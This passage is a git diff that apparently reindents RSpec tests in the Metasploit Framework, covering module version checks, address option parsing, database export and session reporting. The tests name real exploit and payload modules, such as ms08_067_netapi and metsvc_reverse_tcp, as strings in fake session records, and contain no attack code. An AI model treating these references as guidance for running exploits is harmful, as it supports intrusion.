= nil + it 'should include the module reference name' do + error = nil - begin - subject.metasploit_class!(module_path, module_reference_name) - rescue Msf::Modules::MetasploitClassCompatibilityError => error - end + begin + subject.metasploit_class!(module_path, module_reference_name) + rescue Msf::Modules::MetasploitClassCompatibilityError => error + end - error.should_not be_nil - error.to_s.should include(module_reference_name) - end - end - end - end + error.should_not be_nil + error.to_s.should include(module_reference_name) + end + end + end + end - context 'version_compatible!' do - context 'without RequiredVersions' do - it 'should not be defined' do - subject.const_defined?('RequiredVersions').should be_false - end + context 'version_compatible!' do + context 'without RequiredVersions' do + it 'should not be defined' do + subject.const_defined?('RequiredVersions').should be_false + end - it 'should not raise an error' do - expect { - subject.version_compatible!(module_path, module_reference_name) - }.to_not raise_error - end - end + it 'should not raise an error' do + expect { + subject.version_compatible!(module_path, module_reference_name) + }.to_not raise_error + end + end - context 'with RequiredVersions defined' do - let(:minimum_api_version) do - 1 - end + context 'with RequiredVersions defined' do + let(:minimum_api_version) do + 1 + end - let(:minimum_core_version) do - 1 - end + let(:minimum_core_version) do + 1 + end - before(:each) do - subject.const_set( - :RequiredVersions, - [ - minimum_core_version, - minimum_api_version - ] - ) - end + before(:each) do + subject.const_set( + :RequiredVersions, + [ + minimum_core_version, + minimum_api_version + ] + ) + end - context 'with minimum Core version' do - it 'should be <= Msf::Framework::VersionCore' do - minimum_core_version.should <= Msf::Framework::VersionCore - end + context 'with minimum Core version' do + it 'should be <= Msf::Framework::VersionCore' do + minimum_core_version.should <= Msf::Framework::VersionCore + end - context 'without minimum API version' do - let(:minimum_api_version) do - 2 - end + context 'without minimum API version' do + let(:minimum_api_version) do + 2 + end - it 'should be > Msf::Framework::VersionAPI' do - minimum_api_version.should > Msf::Framework::VersionAPI - end + it 'should be > Msf::Framework::VersionAPI' do + minimum_api_version.should > Msf::Framework::VersionAPI + end - it_should_behave_like 'Msf::Modules::VersionCompatibilityError' - end + it_should_behave_like 'Msf::Modules::VersionCompatibilityError' + end - context 'with minimum API version' do - it 'should not raise an error' do - expect { - subject.version_compatible!(module_path, module_reference_name) - }.to_not raise_error - end - end - end + context 'with minimum API version' do + it 'should not raise an error' do + expect { + subject.version_compatible!(module_path, module_reference_name) + }.to_not raise_error + end + end + end - context 'without minimum Core version' do - let(:minimum_core_version) do - 5 - end + context 'without minimum Core version' do + let(:minimum_core_version) do + 5 + end - it 'should be > Msf::Framework::VersionCore' do - minimum_core_version.should > Msf::Framework::VersionCore - end + it 'should be > Msf::Framework::VersionCore' do + minimum_core_version.should > Msf::Framework::VersionCore + end - context 'without minimum API version' do - let(:minimum_api_version) do - 2 - end + context 'without minimum API version' do + let(:minimum_api_version) do + 2 + end - it 'should be > Msf::Framework::VersionAPI' do - minimum_api_version.should > Msf::Framework::VersionAPI - end + it 'should be > Msf::Framework::VersionAPI' do + minimum_api_version.should > Msf::Framework::VersionAPI + end - it_should_behave_like 'Msf::Modules::VersionCompatibilityError' - end + it_should_behave_like 'Msf::Modules::VersionCompatibilityError' + end - context 'with minimum API version' do - it 'should be <= Msf::Framework::VersionAPI' do - minimum_api_version <= Msf::Framework::VersionAPI - end + context 'with minimum API version' do + it 'should be <= Msf::Framework::VersionAPI' do + minimum_api_version <= Msf::Framework::VersionAPI + end - it_should_behave_like 'Msf::Modules::VersionCompatibilityError' - end - end - end - end + it_should_behave_like 'Msf::Modules::VersionCompatibilityError' + end + end + end + end end diff --git a/spec/lib/msf/core/modules/version_compatibility_error_spec.rb b/spec/lib/msf/core/modules/version_compatibility_error_spec.rb index 8dc8ca3333..e967e02f2c 100644 --- a/spec/lib/msf/core/modules/version_compatibility_error_spec.rb +++ b/spec/lib/msf/core/modules/version_compatibility_error_spec.rb @@ -2,62 +2,62 @@ require 'spec_helper' describe Msf::Modules::VersionCompatibilityError do - it_should_behave_like 'Msf::Modules::Error subclass #initialize' do - let(:minimum_api_version) do - 1 - end + it_should_behave_like 'Msf::Modules::Error subclass #initialize' do + let(:minimum_api_version) do + 1 + end - let(:minimum_core_version) do - 2 - end + let(:minimum_core_version) do + 2 + end - it 'should say cause was version check' do - subject.to_s.should match(/due to version check/) - end + it 'should say cause was version check' do + subject.to_s.should match(/due to version check/) + end - context 'with :minimum_api_version' do - subject do - described_class.new( - :minimum_api_version => minimum_api_version - ) - end + context 'with :minimum_api_version' do + subject do + described_class.new( + :minimum_api_version => minimum_api_version + ) + end - it 'should set minimum_api_version' do - subject.minimum_api_version.should == minimum_api_version - end + it 'should set minimum_api_version' do + subject.minimum_api_version.should == minimum_api_version + end - it 'should include minimum_api_version in error' do - subject.to_s.should match(/due to version check \(requires API >= #{minimum_api_version}\)/) - end - end + it 'should include minimum_api_version in error' do + subject.to_s.should match(/due to version check \(requires API >= #{minimum_api_version}\)/) + end + end - context 'with :minimum_api_version and :minimum_core_version' do - subject do - described_class.new( - :minimum_api_version => minimum_api_version, - :minimum_core_version => minimum_core_version - ) - end + context 'with :minimum_api_version and :minimum_core_version' do + subject do + described_class.new( + :minimum_api_version => minimum_api_version, + :minimum_core_version => minimum_core_version + ) + end - it 'should include minimum_api_version and minimum_core_version in error' do - subject.to_s.should match(/due to version check \(requires API >= #{minimum_api_version} and Core >= #{minimum_core_version}\)/) - end - end + it 'should include minimum_api_version and minimum_core_version in error' do + subject.to_s.should match(/due to version check \(requires API >= #{minimum_api_version} and Core >= #{minimum_core_version}\)/) + end + end - context 'with :minimum_core_version' do - subject do - described_class.new( - :minimum_core_version => minimum_core_version - ) - end + context 'with :minimum_core_version' do + subject do + described_class.new( + :minimum_core_version => minimum_core_version + ) + end - it 'should set minimum_core_version' do - subject.minimum_core_version.should == minimum_core_version - end + it 'should set minimum_core_version' do + subject.minimum_core_version.should == minimum_core_version + end - it 'should include minimum_core_version in error' do - subject.to_s.should match(/due to version check \(requires Core >= #{minimum_core_version}\)/) - end - end - end + it 'should include minimum_core_version in error' do + subject.to_s.should match(/due to version check \(requires Core >= #{minimum_core_version}\)/) + end + end + end end diff --git a/spec/lib/msf/core/options/opt_address_range_spec.rb b/spec/lib/msf/core/options/opt_address_range_spec.rb index 721dfa0630..c2e10dc642 100644 --- a/spec/lib/msf/core/options/opt_address_range_spec.rb +++ b/spec/lib/msf/core/options/opt_address_range_spec.rb @@ -4,41 +4,41 @@ require 'spec_helper' require 'msf/core/option_container' describe Msf::OptAddressRange do - # Normalized values are just the original value for OptAddressRange - valid_values = [ - { :value => "192.0.2.0/24", :normalized => "192.0.2.0/24" }, - { :value => "192.0.2.0-255", :normalized => "192.0.2.0-255" }, - { :value => "192.0.2.0,1-255", :normalized => "192.0.2.0,1-255" }, - { :value => "192.0.2.*", :normalized => "192.0.2.*" }, - { :value => "192.0.2.0-192.0.2.255", :normalized => "192.0.2.0-192.0.2.255" }, + # Normalized values are just the original value for OptAddressRange + valid_values = [ + { :value => "192.0.2.0/24", :normalized => "192.0.2.0/24" }, + { :value => "192.0.2.0-255", :normalized => "192.0.2.0-255" }, + { :value => "192.0.2.0,1-255", :normalized => "192.0.2.0,1-255" }, + { :value => "192.0.2.*", :normalized => "192.0.2.*" }, + { :value => "192.0.2.0-192.0.2.255", :normalized => "192.0.2.0-192.0.2.255" }, { :value => "file:#{File.expand_path('short_address_list.txt',FILE_FIXTURES_PATH)}", :normalized => '192.168.1.1 192.168.1.2 192.168.1.3 192.168.1.4 192.168.1.5'}, - ] - invalid_values = [ - # Too many dots - { :value => "192.0.2.0.0" }, - { :value => "192.0.2.0.0,1" }, - { :value => "192.0.2.0.0,1-2" }, - { :value => "192.0.2.0.0/24" }, - # Not enough dots - { :value => "192.0.2" }, - { :value => "192.0.2,1" }, - { :value => "192.0.2,1-2" }, - { :value => "192.0.2/24" }, - # Can't mix ranges and CIDR - { :value => "192.0.2.0,1/24" }, - { :value => "192.0.2.0-1/24" }, - { :value => "192.0.2.0,1-2/24" }, - { :value => "192.0.2.0/1-24" }, - { :value => "192.0.2.0-192.0.2.1-255" }, + ] + invalid_values = [ + # Too many dots + { :value => "192.0.2.0.0" }, + { :value => "192.0.2.0.0,1" }, + { :value => "192.0.2.0.0,1-2" }, + { :value => "192.0.2.0.0/24" }, + # Not enough dots + { :value => "192.0.2" }, + { :value => "192.0.2,1" }, + { :value => "192.0.2,1-2" }, + { :value => "192.0.2/24" }, + # Can't mix ranges and CIDR + { :value => "192.0.2.0,1/24" }, + { :value => "192.0.2.0-1/24" }, + { :value => "192.0.2.0,1-2/24" }, + { :value => "192.0.2.0/1-24" }, + { :value => "192.0.2.0-192.0.2.1-255" }, # Non-string values { :value => true}, { :value => 5 }, { :value => []}, { :value => [1,2]}, { :value => {}}, - ] + ] - it_behaves_like "an option", valid_values, invalid_values, 'addressrange' + it_behaves_like "an option", valid_values, invalid_values, 'addressrange' let(:required_opt) { Msf::OptAddressRange.new('RHOSTS', [true, 'The target addresses', '']) } diff --git a/spec/lib/msf/core/options/opt_address_spec.rb b/spec/lib/msf/core/options/opt_address_spec.rb index b14d385990..82bdf64d28 100644 --- a/spec/lib/msf/core/options/opt_address_spec.rb +++ b/spec/lib/msf/core/options/opt_address_spec.rb @@ -4,15 +4,15 @@ require 'spec_helper' require 'msf/core/option_container' describe Msf::OptAddress do - valid_values = [ - "192.0.2.0", "127.0.0.1", "2001:db8::", "::1" - # Normalized values are just the original value - ].map{|a| { :value => a, :normalized => a } } + valid_values = [ + "192.0.2.0", "127.0.0.1", "2001:db8::", "::1" + # Normalized values are just the original value + ].map{|a| { :value => a, :normalized => a } } - invalid_values = [ - # Too many dots - { :value => "192.0.2.0.0" }, - # Not enough + invalid_values = [ + # Too many dots + { :value => "192.0.2.0.0" }, + # Not enough { :value => "192.0.2" }, # Non-string values { :value => true}, @@ -20,9 +20,9 @@ describe Msf::OptAddress do { :value => []}, { :value => [1,2]}, { :value => {}}, - ] + ] - it_behaves_like "an option", valid_values, invalid_values, 'address' + it_behaves_like "an option", valid_values, invalid_values, 'address' diff --git a/spec/lib/msf/db_manager/export_spec.rb b/spec/lib/msf/db_manager/export_spec.rb index 33e1d07466..4f5de2e92f 100644 --- a/spec/lib/msf/db_manager/export_spec.rb +++ b/spec/lib/msf/db_manager/export_spec.rb @@ -3,106 +3,106 @@ require 'spec_helper' require 'msf/core/db_export' describe Msf::DBManager::Export do - include_context 'Msf::DBManager' + include_context 'Msf::DBManager' - subject(:export) do - described_class.new(workspace) - end + subject(:export) do + described_class.new(workspace) + end - let(:active) do - true - end + let(:active) do + true + end - let(:workspace) do - FactoryGirl.create( - :mdm_workspace - ) - end + let(:workspace) do + FactoryGirl.create( + :mdm_workspace + ) + end - context '#extract_module_detail_info' do - let(:report_file) do - StringIO.new - end + context '#extract_module_detail_info' do + let(:report_file) do + StringIO.new + end - subject(:extract_module_detail_info) do - export.extract_module_detail_info(report_file) - end + subject(:extract_module_detail_info) do + export.extract_module_detail_info(report_file) + end - context 'with Mdm::Module::Details' do - let(:document) do - Nokogiri::XML(report_file.string) - end + context 'with Mdm::Module::Details' do + let(:document) do + Nokogiri::XML(report_file.string) + end - let(:module_detail_count) do - 2 - end + let(:module_detail_count) do + 2 + end - let(:root) do - document.root - end + let(:root) do + document.root + end - let!(:module_details) do - FactoryGirl.create_list( - :mdm_module_detail, - module_detail_count - ) - end + let!(:module_details) do + FactoryGirl.create_list( + :mdm_module_detail, + module_detail_count + ) + end - before(:each) do - report_file.write("<root>") - extract_module_detail_info - report_file.write("</root>") - end + before(:each) do + report_file.write("<root>") + extract_module_detail_info + report_file.write("</root>") + end - it 'should have module_detail tag for each Mdm::Module::Detail' do - nodes = root.xpath('module_detail') + it 'should have module_detail tag for each Mdm::Module::Detail' do + nodes = root.xpath('module_detail') - nodes.length.should == module_detail_count - end + nodes.length.should == module_detail_count + end - context 'module_detail' do - let(:module_detail) do - module_details.first - end + context 'module_detail' do + let(:module_detail) do + module_details.first + end - subject(:module_detail_node) do - root.at_xpath('module_detail') - end + subject(:module_detail_node) do + root.at_xpath('module_detail') + end - it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'description' + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'description' - context '/disclosure-date' do - it 'should have Mdm::Module::Detail#disclosure_date present' do - module_detail.disclosure_date.should be_present - end + context '/disclosure-date' do + it 'should have Mdm::Module::Detail#disclosure_date present' do + module_detail.disclosure_date.should be_present + end - it 'should have Mdm::Module::Detail#disclosure_date from disclosure-date content' do - node = module_detail_node.at_xpath('disclosure-date') + it 'should have Mdm::Module::Detail#disclosure_date from disclosure-date content' do + node = module_detail_node.at_xpath('disclosure-date') - Date.parse(node.content).should == module_detail.disclosure_date - end - end + Date.parse(node.content).should == module_detail.disclosure_date + end + end - it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'file' - it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'fullname' - it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'license' - it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'mtime' - it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'mtype' - it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'name' - it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'privileged' - it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'rank' - it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'refname' + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'file' + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'fullname' + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'license' + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'mtime' + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'mtype' + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'name' + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'privileged' + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'rank' + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'refname' - # @todo https://www.pivotaltracker.com/story/show/48451001 - end - end + # @todo https://www.pivotaltracker.com/story/show/48451001 + end + end - context 'without Mdm::Module::Details' do - it 'should not write anything to report_file' do - extract_module_detail_info + context 'without Mdm::Module::Details' do + it 'should not write anything to report_file' do + extract_module_detail_info - report_file.string.should be_empty - end - end - end + report_file.string.should be_empty + end + end + end end \ No newline at end of file diff --git a/spec/lib/msf/db_manager_spec.rb b/spec/lib/msf/db_manager_spec.rb index 7bb3d98f8a..76f215b8df 100644 --- a/spec/lib/msf/db_manager_spec.rb +++ b/spec/lib/msf/db_manager_spec.rb @@ -12,1819 +12,1819 @@ require 'metasploit/framework/database' require 'msf/core' describe Msf::DBManager do - include_context 'Msf::DBManager' + include_context 'Msf::DBManager' - subject do - db_manager - end + subject do + db_manager + end - it_should_behave_like 'Msf::DBManager::Migration' - it_should_behave_like 'Msf::DBManager::ImportMsfXml' + it_should_behave_like 'Msf::DBManager::Migration' + it_should_behave_like 'Msf::DBManager::ImportMsfXml' - context '#initialize_metasploit_data_models' do - def initialize_metasploit_data_models - db_manager.initialize_metasploit_data_models - end + context '#initialize_metasploit_data_models' do + def initialize_metasploit_data_models + db_manager.initialize_metasploit_data_models + end - it 'should not add duplicate paths to ActiveRecord::Migrator.migrations_paths' do - initialize_metasploit_data_models + it 'should not add duplicate paths to ActiveRecord::Migrator.migrations_paths' do + initialize_metasploit_data_models - expect { - initialize_metasploit_data_models - }.to_not change { - ActiveRecord::Migrator.migrations_paths.length - } + expect { + initialize_metasploit_data_models + }.to_not change { + ActiveRecord::Migrator.migrations_paths.length + } - ActiveRecord::Migrator.migrations_paths.uniq.should == ActiveRecord::Migrator.migrations_paths - end - end + ActiveRecord::Migrator.migrations_paths.uniq.should == ActiveRecord::Migrator.migrations_paths + end + end - context '#purge_all_module_details' do - def purge_all_module_details - db_manager.purge_all_module_details - end + context '#purge_all_module_details' do + def purge_all_module_details + db_manager.purge_all_module_details + end - let(:migrated) do - false - end + let(:migrated) do + false + end - let(:module_detail_count) do - 2 - end + let(:module_detail_count) do + 2 + end - let!(:module_details) do - FactoryGirl.create_list( - :mdm_module_detail, - module_detail_count - ) - end + let!(:module_details) do + FactoryGirl.create_list( + :mdm_module_detail, + module_detail_count + ) + end - before(:each) do - db_manager.stub(:migrated => migrated) - end + before(:each) do + db_manager.stub(:migrated => migrated) + end - context 'with migrated' do - let(:migrated) do - true - end - - let(:modules_caching) do - false - end - - before(:each) do - db_manager.stub(:modules_caching => modules_caching) - end - - context 'with modules_caching' do - let(:modules_caching) do - true - end - - it 'should not destroy Mdm::Module::Details' do - expect { - purge_all_module_details - }.to_not change(Mdm::Module::Detail, :count) - end - end - - context 'without modules_caching' do - it 'should create a connection' do - # in purge_all_module_details - # in after(:each) - ActiveRecord::Base.connection_pool.should_receive(:with_connection).twice.and_call_original - - purge_all_module_details - end - - it 'should destroy all Mdm::Module::Details' do - expect { - purge_all_module_details - }.to change(Mdm::Module::Detail, :count).by(-module_detail_count) - end - end - end - - context 'without migrated' do - it 'should not destroy Mdm::Module::Details' do - expect { - purge_all_module_details - }.to_not change(Mdm::Module::Detail, :count) - end - end - end - - context '#report_session' do - let(:options) do - {} - end - - subject(:report_session) do - db_manager.report_session(options) - end - - context 'with active' do - let(:active) do - true - end - - it 'should create connection' do - # 1st time from with_established_connection - # 2nd time from report_session - ActiveRecord::Base.connection_pool.should_receive(:with_connection).exactly(2).times - - report_session + context 'with migrated' do + let(:migrated) do + true end - context 'with :session' do - before(:each) do - options[:session] = session - end + let(:modules_caching) do + false + end - context 'with Msf::Session' do - let(:exploit_datastore) do - Msf::ModuleDataStore.new(module_instance).tap do |datastore| - datastore['ParentModule'] = parent_module_fullname + before(:each) do + db_manager.stub(:modules_caching => modules_caching) + end - remote_port = rand(2 ** 16 - 1) - datastore['RPORT'] = remote_port - end - end + context 'with modules_caching' do + let(:modules_caching) do + true + end - let(:host) do - FactoryGirl.create(:mdm_host, :workspace => session_workspace) - end + it 'should not destroy Mdm::Module::Details' do + expect { + purge_all_module_details + }.to_not change(Mdm::Module::Detail, :count) + end + end - let(:module_instance) do - name = 'multi/handler' + context 'without modules_caching' do + it 'should create a connection' do + # in purge_all_module_details + # in after(:each) + ActiveRecord::Base.connection_pool.should_receive(:with_connection).twice.and_call_original - double( - 'Msf::Module', - :fullname => "exploit/#{name}", - :framework => framework, - :name => name - ) - end + purge_all_module_details + end - let(:options_workspace) do - FactoryGirl.create(:mdm_workspace) - end + it 'should destroy all Mdm::Module::Details' do + expect { + purge_all_module_details + }.to change(Mdm::Module::Detail, :count).by(-module_detail_count) + end + end + end - let(:parent_module_fullname) do - "exploit/#{parent_module_name}" - end + context 'without migrated' do + it 'should not destroy Mdm::Module::Details' do + expect { + purge_all_module_details + }.to_not change(Mdm::Module::Detail, :count) + end + end + end - let(:parent_module_name) do - 'windows/smb/ms08_067_netapi' - end + context '#report_session' do + let(:options) do + {} + end - let(:parent_path) do - Metasploit::Framework.root.join('modules').to_path - end + subject(:report_session) do + db_manager.report_session(options) + end - let(:session) do - session_class.new.tap do |session| - session.exploit_datastore = exploit_datastore - session.info = 'Info' - session.platform = 'Platform' - session.session_host = host.address - session.sid = rand(100) - session.type = 'Session Type' - session.via_exploit = 'exploit/multi/handler' - session.via_payload = 'payload/single/windows/metsvc_bind_tcp' - session.workspace = session_workspace.name - end - end + context 'with active' do + let(:active) do + true + end - let(:session_class) do - Class.new do - include Msf::Session + it 'should create connection' do + # 1st time from with_established_connection + # 2nd time from report_session + ActiveRecord::Base.connection_pool.should_receive(:with_connection).exactly(2).times - attr_accessor :datastore - attr_accessor :platform - attr_accessor :type - attr_accessor :via_exploit - attr_accessor :via_payload - end - end + report_session + end - let(:session_workspace) do - FactoryGirl.create(:mdm_workspace) - end + context 'with :session' do + before(:each) do + options[:session] = session + end - before(:each) do - reference_name = 'multi/handler' - path = File.join(parent_path, 'exploits', reference_name) + context 'with Msf::Session' do + let(:exploit_datastore) do + Msf::ModuleDataStore.new(module_instance).tap do |datastore| + datastore['ParentModule'] = parent_module_fullname - # fake cache data for exploit/multi/handler so it can be loaded - framework.modules.send( - :module_info_by_path=, - { - path => - { - :parent_path => parent_path, - :reference_name => reference_name, - :type => 'exploit', - } - } - ) + remote_port = rand(2 ** 16 - 1) + datastore['RPORT'] = remote_port + end + end - FactoryGirl.create( - :mdm_module_detail, - :fullname => parent_module_fullname, - :name => parent_module_name - ) - end + let(:host) do + FactoryGirl.create(:mdm_host, :workspace => session_workspace) + end - context 'with :workspace' do - before(:each) do - options[:workspace] = options_workspace - end + let(:module_instance) do + name = 'multi/handler' - it 'should not find workspace from session' do - db_manager.should_not_receive(:find_workspace) + double( + 'Msf::Module', + :fullname => "exploit/#{name}", + :framework => framework, + :name => name + ) + end - report_session - end - end + let(:options_workspace) do + FactoryGirl.create(:mdm_workspace) + end - context 'without :workspace' do - it 'should find workspace from session' do - db_manager.should_receive(:find_workspace).with(session.workspace).and_call_original + let(:parent_module_fullname) do + "exploit/#{parent_module_name}" + end - report_session - end + let(:parent_module_name) do + 'windows/smb/ms08_067_netapi' + end + + let(:parent_path) do + Metasploit::Framework.root.join('modules').to_path + end + + let(:session) do + session_class.new.tap do |session| + session.exploit_datastore = exploit_datastore + session.info = 'Info' + session.platform = 'Platform' + session.session_host = host.address + session.sid = rand(100) + session.type = 'Session Type' + session.via_exploit = 'exploit/multi/handler' + session.via_payload = 'payload/single/windows/metsvc_bind_tcp' + session.workspace = session_workspace.name + end + end + + let(:session_class) do + Class.new do + include Msf::Session + + attr_accessor :datastore + attr_accessor :platform + attr_accessor :type + attr_accessor :via_exploit + attr_accessor :via_payload + end + end + + let(:session_workspace) do + FactoryGirl.create(:mdm_workspace) + end + + before(:each) do + reference_name = 'multi/handler' + path = File.join(parent_path, 'exploits', reference_name) + + # fake cache data for exploit/multi/handler so it can be loaded + framework.modules.send( + :module_info_by_path=, + { + path => + { + :parent_path => parent_path, + :reference_name => reference_name, + :type => 'exploit', + } + } + ) + + FactoryGirl.create( + :mdm_module_detail, + :fullname => parent_module_fullname, + :name => parent_module_name + ) + end + + context 'with :workspace' do + before(:each) do + options[:workspace] = options_workspace + end + + it 'should not find workspace from session' do + db_manager.should_not_receive(:find_workspace) + + report_session + end + end + + context 'without :workspace' do + it 'should find workspace from session' do + db_manager.should_receive(:find_workspace).with(session.workspace).and_call_original + + report_session + end it 'should pass session.workspace to #find_or_create_host' do - db_manager.should_receive(:find_or_create_host).with( - hash_including( - :workspace => session_workspace - ) - ).and_return(host) + db_manager.should_receive(:find_or_create_host).with( + hash_including( + :workspace => session_workspace + ) + ).and_return(host) - report_session + report_session end - end - - context 'with workspace from either :workspace or session' do - it 'should pass normalized host from session as :host to #find_or_create_host' do - normalized_host = double('Normalized Host') - db_manager.stub(:normalize_host).with(session).and_return(normalized_host) - # stub report_vuln so its use of find_or_create_host and normalize_host doesn't interfere. - db_manager.stub(:report_vuln) - - db_manager.should_receive(:find_or_create_host).with( - hash_including( - :host => normalized_host - ) - ).and_return(host) - - report_session - end - - context 'with session responds to arch' do - let(:arch) do - FactoryGirl.generate :mdm_host_arch - end - - before(:each) do - session.stub(:arch => arch) - end - - it 'should pass :arch to #find_or_create_host' do - db_manager.should_receive(:find_or_create_host).with( - hash_including( - :arch => arch - ) - ).and_call_original - - report_session - end - end - - context 'without session responds to arch' do - it 'should not pass :arch to #find_or_create_host' do - db_manager.should_receive(:find_or_create_host).with( - hash_excluding( - :arch - ) - ).and_call_original - - report_session - end - end - - it 'should create an Mdm::Session' do - expect { - report_session - }.to change(Mdm::Session, :count).by(1) - end - - it { should be_an Mdm::Session } - - it 'should set session.db_record to created Mdm::Session' do - mdm_session = report_session - - session.db_record.should == mdm_session - end - - context 'with session.via_exploit' do - it 'should create session.via_exploit module' do - framework.modules.should_receive(:create).with(session.via_exploit).and_call_original - - report_session - end - - it 'should create Mdm::Vuln' do - expect { - report_session - }.to change(Mdm::Vuln, :count).by(1) - end - - context 'created Mdm::Vuln' do - let(:mdm_session) do - Mdm::Session.last - end - - let(:rport) do - nil - end - - before(:each) do - Timecop.freeze - - session.exploit_datastore['RPORT'] = rport - - report_session - end - - after(:each) do - Timecop.return - end - - subject(:vuln) do - Mdm::Vuln.last - end - - its(:host) { should == Mdm::Host.last } - its(:refs) { should == [] } - its(:exploited_at) { should be_within(1.second).of(Time.now.utc) } - - context "with session.via_exploit 'exploit/multi/handler'" do - context "with session.exploit_datastore['ParentModule']" do - its(:info) { should == "Exploited by #{parent_module_fullname} to create Session #{mdm_session.id}" } - its(:name) { should == parent_module_name } - end - end - - context "without session.via_exploit 'exploit/multi/handler'" do - let(:reference_name) do - 'windows/smb/ms08_067_netapi' - end - - before(:each) do - path = File.join( - parent_path, - 'exploits', - "#{reference_name}.rb" - ) - type = 'exploit' - - # fake cache data for ParentModule so it can be loaded - framework.modules.send( - :module_info_by_path=, - { - path => - { - :parent_path => parent_path, - :reference_name => reference_name, - :type => type, - } - } - ) - - session.via_exploit = "#{type}/#{reference_name}" - end - - its(:info) { should == "Exploited by #{session.via_exploit} to create Session #{mdm_session.id}"} - its(:name) { should == reference_name } - end - - context 'with RPORT' do - let(:rport) do - # use service.port instead of having service use rport so - # that service is forced to exist before call to - # report_service, which happens right after using rport in - # outer context's before(:each) - service.port - end - - let(:service) do - FactoryGirl.create( - :mdm_service, - :host => host - ) - end - - its(:service) { should == service } - end - - context 'without RPORT' do - its(:service) { should be_nil } - end - end - - context 'created Mdm::ExploitAttempt' do - let(:rport) do - nil - end - - before(:each) do - Timecop.freeze - - session.exploit_datastore['RPORT'] = rport - - report_session - end - - after(:each) do - Timecop.return - end - - subject(:exploit_attempt) do - Mdm::ExploitAttempt.last - end - - its(:attempted_at) { should be_within(1.second).of(Time.now.utc) } - # @todo https://www.pivotaltracker.com/story/show/48362615 - its(:session_id) { should == Mdm::Session.last.id } - its(:exploited) { should == true } - # @todo https://www.pivotaltracker.com/story/show/48362615 - its(:vuln_id) { should == Mdm::Vuln.last.id } - - context "with session.via_exploit 'exploit/multi/handler'" do - context "with session.datastore['ParentModule']" do - its(:module) { should == parent_module_fullname } - end - end - - context "without session.via_exploit 'exploit/multi/handler'" do - before(:each) do - session.via_exploit = parent_module_fullname - end - - its(:module) { should == session.via_exploit } - end - end - end - - context 'returned Mdm::Session' do - before(:each) do - Timecop.freeze - end - - after(:each) do - Timecop.return - end - - subject(:mdm_session) do - report_session - end - - # - # Ensure session has attributes present so its on mdm_session are - # not just comparing nils. - # - - it 'should have session.info present' do - session.info.should be_present - end - - it 'should have session.sid present' do - session.sid.should be_present - end - - it 'should have session.platform present' do - session.platform.should be_present - end - - it 'should have session.type present' do - session.type.should be_present - end - - it 'should have session.via_exploit present' do - session.via_exploit.should be_present - end - - it 'should have session.via_payload present' do - session.via_exploit.should be_present - end - - its(:datastore) { should == session.exploit_datastore.to_h } - its(:desc) { should == session.info } - its(:host_id) { should == Mdm::Host.last.id } - its(:last_seen) { should be_within(1.second).of(Time.now.utc) } - its(:local_id) { should == session.sid } - its(:opened_at) { should be_within(1.second).of(Time.now.utc) } - its(:platform) { should == session.platform } - its(:routes) { should == [] } - its(:stype) { should == session.type } - its(:via_payload) { should == session.via_payload } - - context "with session.via_exploit 'exploit/multi/handler'" do - it "should have session.via_exploit of 'exploit/multi/handler'" do - session.via_exploit.should == 'exploit/multi/handler' - end - - context "with session.exploit_datastore['ParentModule']" do - it "should have session.exploit_datastore['ParentModule']" do - session.exploit_datastore['ParentModule'].should_not be_nil - end - - its(:via_exploit) { should == parent_module_fullname } - end - end - - context "without session.via_exploit 'exploit/multi/handler'" do - before(:each) do - reference_name = 'windows/smb/ms08_067_netapi' - path = File.join( - parent_path, - 'exploits', - "#{reference_name}.rb" - ) - type = 'exploit' - - # fake cache data for ParentModule so it can be loaded - framework.modules.send( - :module_info_by_path=, - { - path => - { - :parent_path => parent_path, - :reference_name => reference_name, - :type => type, - } - } - ) - - session.via_exploit = "#{type}/#{reference_name}" - end - - it "should not have session.via_exploit of 'exploit/multi/handler'" do - session.via_exploit.should_not == 'exploit/multi/handler' - end - - its(:via_exploit) { should == session.via_exploit } - end - end - end - end - - context 'without Msf::Session' do - let(:session) do - double('Not a Msf::Session') - end - - it 'should raise ArgumentError' do - expect { - report_session - }.to raise_error(ArgumentError, "Invalid :session, expected Msf::Session") - end - end - end - - context 'without :session' do - context 'with :host' do - before(:each) do - options[:host] = host - end - - context 'with Mdm::Host' do - let(:host) do - FactoryGirl.create(:mdm_host) - end - - context 'created Mdm::Session' do - let(:closed_at) do - nil - end - - let(:close_reason) do - 'Closed because...' - end - - let(:description) do - 'Session Description' - end - - let(:exploit_full_name) do - 'exploit/windows/smb/ms08_067_netapi' - end - - let(:last_seen) do - nil - end - - let(:opened_at) do - Time.now.utc - 5.minutes - end - - let(:payload_full_name) do - 'payload/singles/windows/metsvc_reverse_tcp' - end - - let(:platform) do - 'Host Platform' - end - - let(:routes) do - nil - end - - let(:session_type) do - 'Session Type' - end - - before(:each) do - options[:closed_at] = closed_at - options[:close_reason] = close_reason - options[:desc] = description - options[:last_seen] = last_seen - options[:opened_at] = opened_at - options[:platform] = platform - options[:routes] = routes - options[:stype] = session_type - options[:via_payload] = payload_full_name - options[:via_exploit] = exploit_full_name - end - - subject(:mdm_session) do - report_session - end - - its(:close_reason) { should == close_reason } - its(:desc) { should == description } - its(:host) { should == host } - its(:platform) { should == platform } - its(:stype) { should == session_type } - its(:via_exploit) { 